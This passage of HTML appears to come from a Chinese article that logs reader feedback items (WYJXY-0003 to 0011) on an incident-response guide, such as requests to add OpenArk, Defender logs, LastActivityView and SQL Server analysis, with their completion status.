left;"><p><span leaf="">safefox</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-06 17:38</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">将 PCHunter 修改为安芯网盾未知威胁文件检测系统</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-06 19:28</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">3. 添加 OpenArk 工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0003</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">safefox</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-06 17:38</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">考虑添加 OpenArk 工具</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-06 17:43</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">4. 添加 Defender 日志</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0004</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">safefox</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-06 17:38</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">日志分析部分添加 defender 日志</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-05 00:13</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">5. 添加二进制文件执行日志</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0005</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">safefox</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-06 17:50</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加 Windows 历史运行程序排查方法</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-06 00:06</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">6.  完善部分 Windows 事件及 ID</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0006</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">safefox</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-19 13:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">补充部分协议及服务的 Windows 日志</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完善</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-06 22:56</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">7.  谁决定计划任务的执行结果部分【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0007</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">safefox</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-19 14:19</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">小时</span></code><p><span leaf=""> -&gt; </span><code><span leaf="">消失</span></code></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已修复</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-05 00:15</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">8. 添加痕迹查看工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0008</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">爱做梦的大米饭</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-10 07:12</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加YDArk、LastActivityView</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加 LastActivityView，YDArk 不开源，暂不添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-05 20:15</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">9. 完善小技巧查找文件部分</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0009</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">爱做梦的大米饭</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-10 07:12</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加命令行以及 everything 语法</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已完成</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-05 17:53</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">10. 添加深信服僵尸网络查杀工具</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0010</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">路人甲、爱做梦的大米饭</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-4 09:01</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">微信</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈内容</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">添加深信服僵尸网络查杀工具</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成情况</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">已添加</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">完成时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-03-06 17:14</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">备注信息</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf=""><br/></span></p></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">11. 添加 SQL Server 应急分析</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈项</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><p><span leaf="">反馈信息</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈编号</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">WYJXY-0011</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈者</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">爱做梦的大米饭</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈时间</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">2024-02-10 07:12</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">反馈途径</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span 